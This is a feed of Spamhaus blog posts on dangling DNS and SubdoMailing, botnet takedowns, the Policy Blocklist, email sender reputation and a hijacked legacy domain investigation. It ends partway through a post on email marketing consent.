What is a dangling DNS record? These records are misconfigured DNS records that point to non-existent or expired services. They most often involve the CNAME (canonical name) record, which is used to alias one domain name to another. The CNAME record can be particularly useful for integrating third-party services without exposing the service provider’s domain to end-users. Unfortunately, it’s also helpful for adversaries when hunting for neglected domains to hijack, also known as “subdomain hijacking.” This is when an attacker takes control of the external service referenced in a dangling DNS record. Let us explain subdomain hijacking with an example. Here we have the domain ‘spamhaus.org.’ You create a CNAME entry example.spamhaus.org that points to a service you are using, ‘service.example.com.’ The service ceases to exist, but the CNAME entry example.spamhaus.org continues to point to the no-longer-existing domain, service.example.com. This leaves the CNAME pointing to a non-existent resource, making it “dangling.” A bad actor identifies the domain the CNAME is pointing to and purchases the domain example.com for malicious activity. By manipulating the DNS records, bad actors can host malicious content, conduct phishing attacks, distribute malware, intercept sensitive data, and even send emails from domains they control, a tactic called “SubdoMailing.” The exploitation of SPF (Sender Policy Framework) records, is an area of particular concern. Exploiting SPF in TXT records for hijacked domains SPF records specify which mail servers are permitted to send email on behalf of a domain, with the aim of preventing email spoofing, where an attacker disguises themselves as a legitimate sender. However, suppose a domain has a dangling CNAME. In that case, a bad actors can exploit this vulnerability by registering the expired domain, adding an SPF record to the TXT record of the newly registered domain, enabling them to send email using your subdomain. The process looks something like this: Here’s where it gets interesting. Besides declaring IP addresses in an SPF record, you can also include someone else’s SPF to have them declare what IP addresses are valid. This means the SPF record of the target domain can point to other domains through the SPF include mechanism. By manipulating the SPF record, attackers can effectively send emails from domains they don’t control, leading to phishing attacks and spreading malware. They can even add MX records and receive traffic, too! Take the time to de-dangle your DNS Dangling DNS typically results from poor DNS hygiene, such as failing to remove or update DNS entries. This oversight creates opportunities for attackers to redirect traffic to their own services or even gain control of a domain entirely. To minimize risk, regularly audit and clean up your DNS. This involves the following steps: Make sure you remove all associated records whenever services are canceled to prevent them from being reused. Remove any unnecessary CNAMEs and ensure that the ones used point only to trusted and active domains. Check SPF records to ensure that all included domains are actively used and under your control. Keep track of domain expiry dates and renew or update SPF records. Implement DMARC and DKIM for additional email authentication to add another layer of security. By understanding the implications of dangling DNS records and the threats associated with subdomain hijacking, organizations can proactively maintain the integrity of their DNS infrastructure. Following the steps above is a good start to help prevent this issue. Defending against SubdoMailing To learn more about how to safeguard your DNS from threats associated with dangling DNS join Spamhaus Technology’s Carel Bitter on July 31st at 11am EDT for a panel discussion hosted by Red Sift: ‘Defending Against SubdoMailing: Strategies to Safeguard Your DNS with Spamhaus & Markmonitor.’ In this research blog, Red Sift discusses the topic of SubDoMailing in more detail.

Botnet Threat Update January to June 2024

The Spamhaus Team — Tue, 09 Jul 2024 12:00:00 GMT

Overall Botnet C&C activity decreased by -6%. Misuse of Cobalt Strike also declined by -41%. Meanwhile, android backdoors increased, with new entries from Hook and Coper. One of the most positive developments was that three well-known global network operators have taken action to address active botnet C&Cs. Read the full report here.

Amazon SES works with Spamhaus to protect its network and reputation

The Spamhaus Team — Fri, 05 Jul 2024 10:38:44 GMT

Amazon SES has a long-standing relationship with Spamhaus, working closely to prevent suspicious IPs and domains from impacting their network. With an established, repeatable, and scalable process, the anti-abuse and email deliverability teams for Amazon SES take the lead in supporting SES’ vast network. When Amazon SES detects a customer exhibiting poor sending practices, they ensure that the remediation process is swift and effective. Let’s take a closer look. Implementing IP and domain reputation best practices As far as managing IP and domain reputation is concerned, SES follows email industry best practices, ensuring a secure and reliable sender service. These include implementing authentication protocols, configuring reverse DNS (rDNS) properly, setting up bounce processing, and implementing outbound virus and spam filtering. However, managing reputation requires more than establishing an optimized email-sending infrastructure. Amazon SES builds secure infrastructures with a four-pillar framework focused on: Prevention Monitoring Analysis Response From day one, customers are educated on abuse prevention, with clear setup rules, service terms, and acceptable use policies. SES tracks metrics, such as bounces, complaints, abuse reports, and mailbox provider status codes. They also monitor and analyze customer activity, a sender’s history, and reputation from external providers. This approach lets SES quickly act to maintain its positive sender reputation when metrics decline. Where Amazon SES really shines is in how it protects its customers when their email reputation is at risk, such as when an IP address is listed by services like Spamhaus. Here's how Amazon SES responds For over two decades, Spamhaus has produced datasets aligned with well-considered and consistent policies, developed together with the wider industry. Our intelligence is trusted by global organizations, so when Spamhaus detects an IP address exhibiting malicious behavior, and a listing is created, SES begins to take action. The listing triggers an on-call notification that is received by Amazon SES and action is taken within 15 minutes for public listings. First, the Amazon SES team identifies the customer and immediately contacts them to understand the root cause. Once identified, SES provides guidance to help customers implement the necessary fixes to prevent recurrence. If the customer fails to respond or has not corrected the issues, SES reviews the data and takes appropriate action, including contacting the customer or placing them under review. During the review period, the customer should make changes to their email sending practices to correct the issue. If SES does not believe the problem can be corrected, or if the issue is severe, they may pause the account's ability to send email until the sender's reputation and security of the network are no longer at risk of further degradation. Once promptly resolved, Spamhaus receives a request to remove the IP from the list with assurance of remediation steps taken to mitigate future issues. The anti-abuse and email deliverability team mobilizes quickly. Having an established process, they are prepared to remediate actions brought to their attention, ensuring a swift resolution of customer detections. Let’s take a closer look at an example… Network: Amazon SES SBL Listing: Spam source (Informational only) Notification sent: Apr 16th 12:53:58 AWS first engaged: Apr 16th 14:54:35 Listing removed: Apr 17th 21:20:42 The AWS team swiftly identified the affected customer the same day the listing arose. They provided personalized guidance on resolving the issue, a timeline for remediation, and recommendations for improving email practices. With the team's attentive support, the customer acknowledged and addressed the concerns within one day. This collaborative effort allowed for a quick resolution, enabling the customer to successfully resume email delivery. Perhaps you’re thinking, “That’s only an informational listing?” While informational listings are only indicative and do not result in IPs being filtered, a 'hard' listing could have been made without further action. However, SES treats informational listings with the same urgency, indicating its proactive approach to protect the security of its network for users. How does Amazon SES compare? Compared to other email delivery platforms, Amazon SES stands out for its proactive approach in handling detections, even with its extensive footprint of IPs. At the time of publication Amazon SES has single digit listings, most of which are only a few days old. Meanwhile, another major US-based email delivery platform has over 200 listings, some of which are months old. This stark contrast demonstrates the effectiveness of SES’s approach in identifying risks and resolving abuse before it escalates to a bigger problem. Taking steps to move from reactive to proactive Spamhaus and Amazon SES work together with other AWS teams to keep the internet safe by creating a secure environment for customers. AWS' vigilance and ability to rapidly adapt controls demonstrated excellence in protecting its cloud ecosystem. Amazon SES constantly monitors reputation data, beyond the binary DNSBLs, to identify risks and prevent incidents by implementing various internal processes on their network, machine learning, and monitoring sign-up patterns. Dustin Taylor, Software Development Manager of Anti-Abuse & Email Deliverability at Amazon Simple Email Service (SES), emphasizes the company's commitment to constant improvement and prevention of incidents: “Email reputation is hard-earned yet easily lost. Maintaining a good reputation requires continuously enhancing processes alongside trusted partners to mitigate threats from bad actors. Vigilant collaboration and a forward-thinking approach are crucial.” Putting IP and domain reputation into practice Amazon SES sets a great example of proactive IP and domain reputation management, upholding industry standards, and raising the bar for ESPs and organizations at large. You can learn more about how they manage IP and domain reputation with their customers and the best practices they follow here.

The Policy Blocklist: what is it, and why should you be on it?

The Spamhaus Team — Tue, 11 Jun 2024 13:00:00 GMT

When was the Policy Blocklist introduced? The Policy Blocklist (PBL) was created at the beginning of 2007 to address the problem of end-user abuse (typically spam). What is the Policy Blocklist? The Policy Blocklist contains IP address ranges from which email should never be sent directly to the final destination. Even static IP addresses that do not send email are listed in the PBL. However, the IPs in PBL are not necessarily “bad” - they simply should never send email in the first place. In fact, any IP space that should not send email directly to the Internet should be listed in PBL. The PBL consists of two categories: IP ranges managed by ISPs themselves and zones generated by Spamhaus: ISP PBL Zones: These zones are created by the ISP that owns these networks to declare that “these networks should not be sending email directly but rather should be using their ISP's smart hosts.” Spamhaus PBL Zones: These zones are generated both automatically and manually, for networks where no email traffic is seen for long periods of time, and the DNS is either absent or generic. PBL for providers. The PBL is intended to be used proactively. Providers and other IP address owners can claim their own IP space, and then declare parts of this space assigned to dynamic end users who should not be sending email outside their network. Providers that claim their IP space and are approved to manage their networks can set their own policy. How PBL works for providers First, providers need to create an ISP account to declare IP ranges that they own. These are called “master ranges.” Within these master ranges, providers can create a “PBL zone” with a policy for IP addresses that are dynamic and/or should not be sending email. This policy contains the published rules for the zone. Once the account is set up, providers can manage their own bulk additions and removals. What type of networks should have a PBL Zone? End customer networks where accountability is entirely opaque are the best candidates for having a PBL zone. Examples of these include (but are not limited to): CGNAT pools Large proxy pools (Mentioning no names, of course!) Cloud Wireless networks DSL Dialup (for those who remember) The key here is that the IP addresses within are dynamically assigned to customers or were never meant to send emails in the first place. They are not statically assigned to a specific corporate user. What type of networks should not have a PBL Zone? Networks that can easily determine accountability should not have PBL zones under normal circumstances. Typically, this may include: Commercial customers with static IP addresses from the ISP The ISP's own infrastructure and servers For example, a pool of IP addresses assigned to an arena's wifi hotspots would be a good PBL candidate, but the arena's own web servers would not. How should providers use the PBL data? It is important to understand that a provider’s PBL zones should NEVER be used against its own users. This happens far more often than it should. The PBL is intended only to be used on mail servers as part of the Spamhaus Zen zone during SMTP sessions on port 25, as they are effectively anonymous and trivially abused. It is not intended to be used with SMTP authentication on port 587 (RFC 2554), where the server knows who the email sender is. The Grey Zone. Certain types of networks have other issues that may or may not be appropriate for a PBL Zone. The most common problem is shared hosting farms, where a large number of sites share a single IP address. These should not be allowed to email directly. All it takes is one person with malicious PHP to get the IP listed in one of the Spamhaus zones, and make all the other users on that host very unhappy. How incorrect us of the PBL can negatively affect end users For almost all Internet users, the PBL shouldn't affect their daily lives. But, unsurprisingly, there are some edge cases. The most likely scenario is sending unauthenticated email outside their providers' own network. If the recipient uses the PBL, the email will be rejected with an error. The second most likely scenario is online forums incorrectly using Spamhaus data to block connecting IP addresses. In the cases we have seen, this usually means that users are unable to post to their favourite forum. As we cannot control how our data is used, this is outside our remit. To resolve the issue, you would need to contact the forum directly. There is more detailed information on the above two scenarios in our FAQs. Inappropriate use of the PBL. Spamhaus’ blocklists: SBL, DBL, CSS, PBL, XBL, and the unified ZEN, are intended to filter email. However, while they can be used in other ways, such as blocking service signups from listed IPs, these are not officially condoned. Where non-email-related applications are required for reputation data, we’d recommend users reach out to Spamhaus Technology to discuss their needs. After all, just because gardening shears are good for trimming a hedge, doesn’t mean that you’d use them to trim your beard! If you find yourself on the wrong side of the PBL i.e. being blocked by uses it wasn’t intended for your best recourse is to find another way to contact the service provider e.g. the online forum. Help! I’m on the PBL! If you have received a rejection error message in reply to an attempt to send an email that mentions “Spamhaus,” then the Spamhaus IP and Domain Reputation checker can provide more information about the reason for being blocked, as it may not be the PBL: PBL listings are often a red herring that distracts from the real problem! Do you want to know more? For more information on PBL there is a detailed FAQ here. If you are an Internet Service Provider, sign up for an account to gain control of your network's IP space.

Operation Endgame | Botnets disrupted after international action

The Spamhaus Team — Thu, 30 May 2024 05:00:00 GMT

Continuing a string of successful botnet takedowns, on Thursday, May 30th 2024, a coalition of international law enforcement agencies announced "Operation Endgame". This effort targeted multiple botnets such as IcedID, Smokeloader, SystemBC, Pikabot and Bumblebee, as well as some of the operators of these botnets. These botnets played a key part in enabling ransomware, thereby causing damages to society estimated to be over a hundred million euros. This coordinated effort is the largest operation ever against botnets involved with ransomware. A consistent tactic: stolen credentials A significant part of operating cybercrime infrastructure like these botnets relies on the use of stolen credentials. Threat actors acquire these credentials by operating remote access tools (RATs) and infostealers; they then use these newly-compromised accounts to further spread malware, or to gain initial access into networks and organizations. These accounts have been shared with Spamhaus, who will help with remediating them. Operation Endgame: victims' account remediation Before getting into the details and the takedown tale, here's an outline of what assistance we will be providing to support with remediation efforts. The botnet operators in question relied on compromised accounts to target victims and spread malicious emails. If a receiver interacted with one of these emails, it is highly likely that their device was infected. As a result, they probably became part of the targeted botnets. The authorities have provided Spamhaus with data pertaining to these compromised accounts, to assist with the remediation effort. Spamhaus is notifying email service providers, hosting companies, and other parties responsible for these accounts. We request that organizations contacted by Spamhaus take action as quickly as possible to secure the accounts in question via a simple password reset, as these accounts are still circulating! For more information see our Operation Endgame remediation page. The takedown tale After the previous dismantling of botnets Emotet (2021) and Qakbot (2023), international law enforcement again joined forces in the largest international operation to date, consisting of seven investigations into various suspects and botnets. The criminal organizations behind the botnets had been spreading malware for years via hundreds of millions of phishing emails, thus forming an extensive and complex network to abuse victims' computer systems. This relates to the IcedID botnets, Smokeloader botnets, SystemBC botnets, Pikabot, Trickbot and the remnants of the Bumblebee botnet. It is estimated that several million infected computers have been identified worldwide in the past year. Of special note is the connection to ransomware - todays most harmful and dangerous type of cybercrime. The botnets targeted in Operation Endgame all played a critical part in enabling ransomware to be deployed at organisations and governments worldwide. Besides that, they also play a key role in supporting various kinds of financial fraud in addition to other types of cybercrime. Now, with thanks to Operation Endgame, more than 100 computer servers worldwide have been taken offline, and more than 2,000 domain names have been taken over. Of the various botnets, more than ten thousand infected computer systems could be disinfected by uninstalling the malware. The investigations revealed that one of the main suspects has earned 69 million euros in cryptocurrency from his criminal activities and this will be seized as soon as possible. The joint actions were carried out by authorities in the Netherlands, Germany, France, Denmark, United States, and the United Kingdom with support from Europol and Eurojust. In addition, with the cooperation of the aforementioned authorities, there have also been police actions in Ukraine, Switzerland, Armenia, Portugal, Romania, Canada, Lithuania and Bulgaria for the arrest or interrogation of suspects, searches, or the seizure and downing of servers. In an effort to keep the general public up to date on what's being done to combat these types of cybercrime, and to also further shine light on some of the threat actors who have not been arrested, the coalition has created a special website for this operation: Operation Endgame. IcedID, Smokeloader, SystemBC, Pikabot and Bumblebee - what are they? These are the botnets targeted by Endgame and have been around for some time. They have all prominently featured in our malware statistics and Botnet Threat Updates. IcedID was first observed in 2017, initially recognized as a banking malware, it also acts as a loader for other malware, including ransomware. With three distinct variants now identified, and hundreds of active campaigns over the last few years, it is no surprise why this was a target of Operation Endgame. Smokeloader is a generic backdoor with a range of capabilities that depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity, like pay-per-install (PPI) campaigns. SystemBC is a malware that was first seen in 2019 that turns infected computers into SOCKS5 proxies, and can infect Linux and Windows systems alike. It is a versatile bit of kit that can be used differently depending on the threat actor's goals - be that to forward traffic, or to download and execute additional payloads. Over the past 30 days, malware samples observed by our partner, abuse.ch, relating to SystemBC have increased by +700% at the time of publishing. Pikabot was the spotlight feature in our most recent Botnet Threat Update as a Top 10 malware associated with botnet command and controllers (C&Cs). It comprises a range of features, including downloader/installer, a loader, and a core backdoor component, many of which play straight into the hands of operators involved with initial access to later deploy ransomware. Bumblebee was first discovered in September 2021. It is a loader capable of downloading and executing additional payloads, such as CobaltStrike, Silver, and Meterpeter, and has been acting as the initial access point for ransomware deployments. The disruption of theses malware families and their operators cannot have come soon enough. We are deeply grateful to all those involved, with a special hat-tip to our trusted partner, abuse.ch who also supported these efforts; we look forward to supporting the ongoing remediation efforts. Press releases & announcements Operation Endgame website Europol: Largest ever operation against botnets hits dropper malware ecosystem Dutch National Police: Meerdere botnets ontmanteld in grootste internationale operatie tegen ransomware ooit

ESPs: Why IP and Domain Reputation Matter and How to Manage Them

The Spamhaus Team — Wed, 29 May 2024 08:00:00 GMT

As an email service provider (ESP), your aim is to maintain a safe and trustworthy network for email senders (and their recipients) while ensuring they achieve high deliverability rates. A task that is no mean feat when you're servicing a bank of customers with hundreds of thousands of IPs and domains - each with a reputation associated. A reputation that can influence both you and your customers. IP and domain reputation signal These are an indicator of if, when, and how to engage with an IP or domain. They should be leveraged to minimize the risk of potential security incidents and to drive customer success. Ensuring that each customer on your platform has a strong reputation and considers all the elements that influence it, is paramount. This includes understanding when reputation is at risk, what is causing it, and how to fix it. But there’s more. IP and domain reputation also have a much broader application and are intrinsically linked to your brand reputation and overall business success. But, how? Maintaining a neighborhood of customers with positive reputation, means fewer security incidents, resulting in fewer complaints and, ultimately, happy customers. With a safe and trustworthy network and highly satisfied customers, your email service becomes more appealing to new customers driving business growth. Therefore, it makes business sense to implement as many best practices as possible upfront before launching a service. IP and domain reputation best practices To manage IP and domain reputation effectively, ESPs should follow these key principles: 1 - Invest in experts Your top priority should be to invest in individuals who really understand reputation. They need to understand the entire ecosystem. This includes the intricate nuances of reputation, the sending infrastructure and configurations, the language of deliverability and reputation—also, an understanding of global laws, best practices, and, of course, the data. You can have all the data in the world, but if you don’t have the knowledge or expertise to interpret it, it is useless. 2 - Implement infrastructure best practices upfront First and foremost, a solid infrastructure is key to launching a successful email platform. Your platform is the foundation and it is typically the first visible part in terms of reputation. If your platform does not follow all best practices you will begin with a negative reputation. This means you will not be successful sending email for any client. Adhering to infrastructure best practices is essential for any entity that has a platform that allows email to be sent, including: following authentication protocols, securing Port 25, preventing open proxies, configuring rDNS properly, setting up bounce processing, and, implementing outbound virus and spam filtering. 3 - Establish a pre-customer process Before a customer even steps foot through the virtual door, several factors must be considered. First, it’s essential to set pricing levels that don’t attract “undesirable” customers while at the same time prevent customers from jumping ship. The next step is vetting. This process should be reviewed and followed closely to help filter out any high-risk customers. Consider: What is the potential customer’s current digital footprint? Have they provided data to review? How is their brand perceived in the marketplace? Then, focus on everything you can do to minimize risk before the customer is let loose. Have policies and procedures that lay the groundwork and clearly outline what is unacceptable. An acceptable use policy and stringent setup rules should be a priority. However, don’t just set them up; enforce them. 4 - Invest in reputation monitoring tools and signal Invest in the tools and signals necessary to understand your reputation, your customers' reputation and, more importantly, to be notified if there are any changes from a risk perspective. The data you have on your own infrastructure is just one perspective of what is happening. A combination of sources is required to build understanding and a more complete view. Furthermore, investing in external reputation data, like Spamhaus’ industry-leading IP and domain reputation datasets, provides a more holistic view so you can act accordingly. There are also several services that help to monitor reputation, including Validity’s Sender Score, Barracuda Central, Postmaster Tools at Google, and Microsoft SNDS to name a few. By monitoring a number of reputation services, you will be able to gain a broader perspective on the health of your platform. 5 - Monitor customer activity Once onboard, carefully monitor new customers’ activities. This is important as it helps catch those “undesirable" customers that you may have missed in the initial vetting process, and allows the review of customer data to establish a standard customer baseline. With a line drawn in the sand, it’s much easier to identify and investigate customers experiencing issues that could pose a risk to the wider network. This includes both low-risk and high-risk customers—victims can be anyone. Alerts and attention to data trends are vital for catching customers needing improvement. In most situations, those with the highest reputation will remain consistent, sending the same emails using the same domain, from the same IPs. Furthermore, Spamhaus and other anti-abuse services will not immediately trust a new domain or IP! 6 - Be responsive And be proactive. Contact customers displaying significant behavioural changes - a sudden spike in bounced emails, or in complaint metrics could be the first sign of trouble! Security incidents require swift action, where every minute counts. Where abuse is identified, terminate services without haste and offer support to customers in resolving encountered issues. 7 - Do proactive analysis Using IP and domain reputation data points for analyzing customer behaviour is key to identifying anomalies and pinpointing problems before something goes wrong. It also allows time for remediation and risk management. Your analysis should include but not limited to the following: Spam Rates Low engagement High bounces Excessive deferrals If there is a change to these metrics, it’s a signal to review the client closer. Nevertheless, incidents will occur, and a goldmine of data will follow: spam complaints will increase, bounces will increase and overall negative metrics will increase. Use it and dig deep into historical data to understand attribution and context. As the saying goes, “every cloud”. 8 - Educate and support senders Education is the single most effective tool to manage IP and domain reputation. Continuously educate customers on how to build and maintain a positive reputation, for example: maintaining clean email lists through confirmed opt-in, setting up a sunset policy, implementing a permission pass campaign, compliance with regulations, laws, and industry standards best practices for email marketing, and, guidance on IP and domain warm-up strategies. Knowledge is power, and the more your customers understand, the easier it is to maintain a positive reputation. ESPs—These key principles equip you with the tools you need to manage and protect your IP and domain reputation effectively. Your IP and domain reputation is your brand reputation; make it a priority. Amazon SES serves as an excellent example of a business that proactively manages IP and domain reputation to maintain a clean network for its users. You can find more information on how Amazon SES do this here.

Manage IP & domain reputation wisely - they're valuable assets!

The Spamhaus Team — Wed, 15 May 2024 10:45:42 GMT

Trust. That’s a word with huge connotations. The Oxford Languages defines it as: believe in the reliability, truth, or ability of. But how can you believe in the reliability, truth or ability of an IP address or domain? In our world it boils down to reputation. IP and domain reputation Every activity related to an IP or domain leaves a digital fingerprint associated with the history of its behaviour. This fingerprint is an indicator of if, when and how you should engage with the IP and/or domain. It provides a measure of behavioural quality and trustworthiness – AKA reputation. Reputation is fragile – attend to it carefully When looking at an IP’s or domain’s reputation it isn’t a simple ‘good’ or ‘bad’. There is good reputation, bad reputation, and everything in between. Think of it as akin to a credit score. In the same way a credit score needs constant care and attention, so does reputation. To achieve a good reputation requires hard work, following best practices, and carefully monitoring vulnerabilities. Yet, it is incredibly easy to damage, difficult to repair and even more difficult to start over. How relevant do you think IP and domain reputation is to your business? The quick answer is, very! IP and domain reputation affects ANY business or organization with a digital presence, which is almost any entity operating in the 21st century. As of April 2024, it is estimated that there are approximately 5.44 billion internet users worldwide, expected to reach 7.9 billion by 2029. Parallel to this, in 2023 the e-commerce market reached an eye-watering US$21.1 trillion globally and is expected to reach a staggering US$183.8 trillion by 2032. With the exponential rise in day-to-day interactions being of a digital nature, these figures are only going to climb. Looking to the future, when connecting to an app, webpage, or portal; IP and domain reputation will be a fundamental part of decision-making. IP and domain reputation IS your brand reputation Maintaining a positive reputation has never been more relevant, playing a vital role in several core areas: brand, security, and revenue. Businesses need to consider their IPs and domains as assets (high value ones). By actively managing and monitoring their reputation they will not only safeguard their online activities and protect their brand’s integrity but also drive the growth of the business. So, what proactive steps can you take? Protecting your IP and domain assets Here are six strategies any business can implement to ensure their IP and domain assets remain secure: 1. Keep track of your domain registrations An inventory can help determine which domains are the most important. Use it to track renewal dates, as you don’t want to risk losing your domains to third parties. You may also wish to purchase variations of your domain name to protect your brand and prevent domain hijacking or cybersquatting! All domains should be added to the inventory and any changes documented. Ensure the purpose of each domain is explained and assign responsibility to individuals for their security and maintenance. 2. Put in place robust security measures As a wise donkey once said, “onions have layers'' and so should your cybersecurity infrastructure. Domain protection should be part of the company’s security policy. Keep the information private, secure and recoverable. Utilize firewalls, VPNs and other protective measures including DNS blocklists and anti-malware software; ensuring all systems, software, and plugins are regularly updated. 3. Enforce strong passwords and access controls Be sure to enforce strong passwords across your organization - at least 10 characters long, a combination of letters, numbers, symbols, and no obvious personal info....or common words (Password1234?!?!) - and use multi-factor authentication to protect your precious assets. For an additional layer of security, make sure to change and update passwords on a regular cadence. 4. Backup critical data and assets It's crucial to protect your data and assets with a robust backup process. Store backups offline (preferably in an offsite location), regularly check backups are working and test your restore procedure. No one wants to fall victim to a ransomware attack and lose vital data or control of valuable assets! 5. Use reputable providers Research providers thoroughly before committing to one, and make sure you know the neighborhood around your space before you move in. When buying domain names, avoid registrars that allow “just anyone" to purchase from them. A reputable registrar will also focus on maintaining a secure network. The same applies when selecting a hosting provider. Don't set up your infrastructure with a network that has a huge amount of botnet C&C activity, as your IP reputation WILL be negatively impacted if it is in the same pool. 6. Educate employees on security best practices Employees are unlikely to understand the importance of protecting IP addresses and domain assets. It’s imperative to educate them on how to recognize threats such as phishing attempts, scams, spam and other techniques used by adversaries to gain unauthorized access. Ongoing education and training should be a top priority. Your IPs and domains should be managed carefully to mitigate risk and protect their value like any other business asset. As the world becomes increasingly digital, stay ahead of the curve and take proactive steps to protect your reputation. Find more information and check your IP and domain reputation.

Expired and exploited: Reviving a 30-year-old legacy domain for hijacking

The Spamhaus Team — Fri, 10 May 2024 09:40:05 GMT

Legacy IPs: A prime target for network hijacking It’s not uncommon for Spamhaus threat investigators to come across network assets that unauthorized third parties have hijacked for their own illegal or malicious purposes. In most cases, large IP ranges are left abandoned by their owners. This may be due to the company going out of business, losing track of IP addresses, or simply not using them. Alarmingly, Spamhaus researchers have observed an increase in cases where the hijacked IP block was being used for internal network usage, even though reserved IP ranges are typically utilized for such purposes. No matter the reason, these IP ranges are ripe for cybercriminals to take over or “hijack.” Fiberlinkcc.com: a victim of hijacking? Here, we have Fiberlinkcc.com. Initial research indicates it is a normal domain, first registered in 1996 by Fiberlink Communications Corporation, a Pennsylvania-based service provider. Over the years, the business grew and was eventually acquired by IBM in 2013. As a result, the new owner no longer had a use for the domain and brand name, causing the domain to expire. Since then, the domain has been registered by various owners until it was recently registered in 2021 by the current owner through a Russian-based registrar: nic.ru Domain Name: FIBERLINKCC.COM Registry Domain ID: 2612982194_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.nic.ru Registrar URL: http://www.nic.ru Updated Date: 2021-05-18T09:54:20Z Creation Date: 2021-05-18T04:39:34Z Upon closer investigation… The domain appears to have been used to connect to several hijacked IP blocks from a Virginia data center courtesy of Cogent Communications or one of its resellers. The registration address used for this domain points to the Evoque Data Center located in Ashburn, Virginia: network:ID:NET4-261B7A0018 network:Network-Name:NET4-261B7A0018 network:IP-Network:38.27.122.0/24 network:Org-Name:Fiberlink LLC network:Street-Address:21571 BEAUMEADE CIRCLE network:City:ASHBURN network:State:VA network:Country:US network:Postal-Code:20147 network:Tech-Contact:ZC108-ARIN network:Updated:2023-05-04 14:02:02 While examining the IP blocks linked to the North American businesses and organizations involved, we found the following names in the ARIN database: Export Development Organization - Ottawa, Ontario (Canada) McMillan Bathurst - Mississauga, Ontario (Canada) Corporate Communications, Inc. - Frisco, Texas (USA) TransAlta Utilities Corporation - Calgary, Alberta (Canada) Citigroup Inc. - Warren, New Jersey (USA) CoreComm Internet Services Inc - Williamsville, New York (USA) AT&T - Redmond, Washington (USA) Risky business in the IP Ocean Three companies from the above list are still in business. Unfortunately, only AT&T has identified this issue and deactivated connectivity from their hijacked IP range, 138.112.0.0/16 (see the section ‘Routing History’). As you can see above, there has been a history of similar hijacks dating back to July 2023. Analysis of the AS numbers (ASNs) involved indicates they all trace back to a Russian service provider, IP Ocean, operated by Mamaev Anton Evgenievich. AS207967 is the single origin of all the hijacked IP ranges, which were serviced by three different AS numbers: AS52147, AS198578, and AS199598. However, as of May 6th only AS199598 remains active. Considering IP Ocean is involved in leasing IP space, it's safe to assume the IP ranges were hijacked to be leased on this platform, possibly for nefarious purposes. How is the situation now? Unfortunately, the problem involving hijacked resources has not been resolved yet. Cogent Communications was notified in late March, but we have not received any response, nor has any action been taken. We invite the team at Cogent Communications to reach out to us, so that we can work together to resolve this. There is a silver lining - we reached the owner of one of the affected IP ranges, TransAlta Corporation’s 142.152.0.0/16, which was secured through ARIN’s RPKI service. They are now in full control of this IP range and have minimized the chances of a repeat incident. We’d like to thank TransAlta for acting on our intelligence and securing this IP range. We did receive a message from IP Ocean confirming they have permission from the IP owners to lease this IP space to their clients. However, there are still many unanswered questions: who authorized the announcement of these ranges, and what is the intended usage for these IP ranges? Protect your network with Spamhaus DROP lists Spamhaus' Don't Route Or Peer (DROP) lists the worst of the worst IP ranges that have been "hijacked" or leased by professional spammers, bulletproof hosters, or cyber-crime operations. Learn more about how you can protect your network with this valuable free data.

C-O-N-S-E-N-T, find out what it means to me!

Alison Gootee — Wed, 01 May 2024 08:00:00 GMT

Succeeding in the art of email marketing hinges on a crucial understanding: consent is key. Seems straightforward, right? Either you agree to something, or you don’t. Here are three scenarios that could easily happen in real life, jokes aside. In full disclosure, much of this blog focuses on the "why" before sharing what marketers can do because without understanding the why, the what becomes near impossible to achieve. Scenario 1 - Coerced consent You decided to cut off your toxic brother after he insulted your guinea pig yet again. On Friday night, your sister invites you to her place, offering a shoulder (and some cedar bedding!) to cry on. When you arrive - guinea pig and prosecco in hand - the very brother you’re avoiding answers the door! You shoot a glare at Sis, who KNOWS you want nothing to do with him, but she only winks and says with a half-shrug, “Hey, you agreed to come to dinner!” You feel betrayed; tricking you into a confrontation is not something you appreciate. Scenario 2 - Traded consent You’re in line for a really popular nightclub. To get past security, you’ll need to consent to be searched. The bouncer asks, “ID? May I please pat you down?”. Obviously, you need to get inside – all your friends are there! The DJ is spinning the greatest hits of yesterday and today! So, you say, “Yeah, totally. Pat away!” handing over your licence. You’re subjected to a most invasive frisking, and then he says, “All set!” and returns your ID. “Whoa, bro!” is all you can sputter out, shocked by the interaction. The bouncer replies, “Hey man, you said I could!” Scenario 3 - “Just kidding!” consent An invitation arrives in the mail. “You are hereby cordially summoned to attend jury duty, this 17th of June, 2024.”, it says, and then in teensy-weensy print down below, “Terms & Conditions apply, check our Privacy Policy for details.” You show up on June 17, dreading the day ahead. During check-in you lament that you’d rather be anywhere but here (or on trial), and the receptionist looks at you quizzically. “You opted in! If you didn’t want to be here today, all you had to do was decline. Just visit your Juror portal, go to Settings, and untoggle the Jury Duty option! It’s all there, in our Terms & Conditions.” You head towards the door, but the receptionist blocks your exit. “Sorry, hon. It’s too late to decline now, but you’ll know for next time. Now get back in there and wait!”, she says firmly. But doesn’t intent matter, too? Think about the three scenarios above; what about the intent behind the consent? If agreement is coerced, is it really an agreement? If you give permission, but only because it’s required in order to receive something you need or want, are you truly consenting to what happens next? If you are “opted in” without being given the opportunity to decline, was it even optional? These aren’t just philosophical or ethical considerations; recognizing authentic consent is integral to understanding your deliverability outcomes. Email marketers routinely misunderstand the concept of permission, operating under the assumption that “opt-in” is a technical requirement. While it may be a legal hurdle in many jurisdictions, blocklists like Spamhaus’ aren’t reviewing senders’ subscription processes to verify that consent has been appropriately obtained. Mailbox providers don’t review your terms and conditions to verify that email consent is listed in the fine print. They don’t need to - and it doesn’t matter anyway! True permission can only be freely given, and an agreement entered into involuntarily will inevitably reveal itself in the data: bounces, block listings, spam folder placement, and even low engagement are all frequently traced back to a lack of explicit, voluntary consent. Requiring consent can hurt your reputation When site visitors, app users, and store browsers are pressured to part with their precious email addresses, they will deploy devious tactics that have harmful effects on deliverability. Here are some of the most common ways that requiring an email address can negatively impact your reputation, and even contribute to the collection of spam traps that cause Spamhaus listings: The reluctant recipient: Some people will provide their legitimate primary email address because they want something from you (like a coupon) despite having no interest in marketing messages. If they begin receiving promotional emails without having sincerely volunteered for them, their engagement will wane. If the emails are frequent or persistent, those users may even reach for the “this is spam” button, the strongest signal of displeasure from a recipient. Similarly, when someone provides consent to receive emails because it’s a required field or part of the terms & conditions during account creation/registration, they aren’t necessarily volunteering to receive daily sales emails. Permission should be considered within the context it was initially provided, not interpreted as enthusiastic affection for your marketing campaigns. The alternate address: Since email addresses are free and easy to create, it’s become common for users to establish multiple accounts with discrete uses, such as a Gmail account for personal communications and one at Yahoo for coupons, or even multiple accounts at one provider for varying uses. I have several 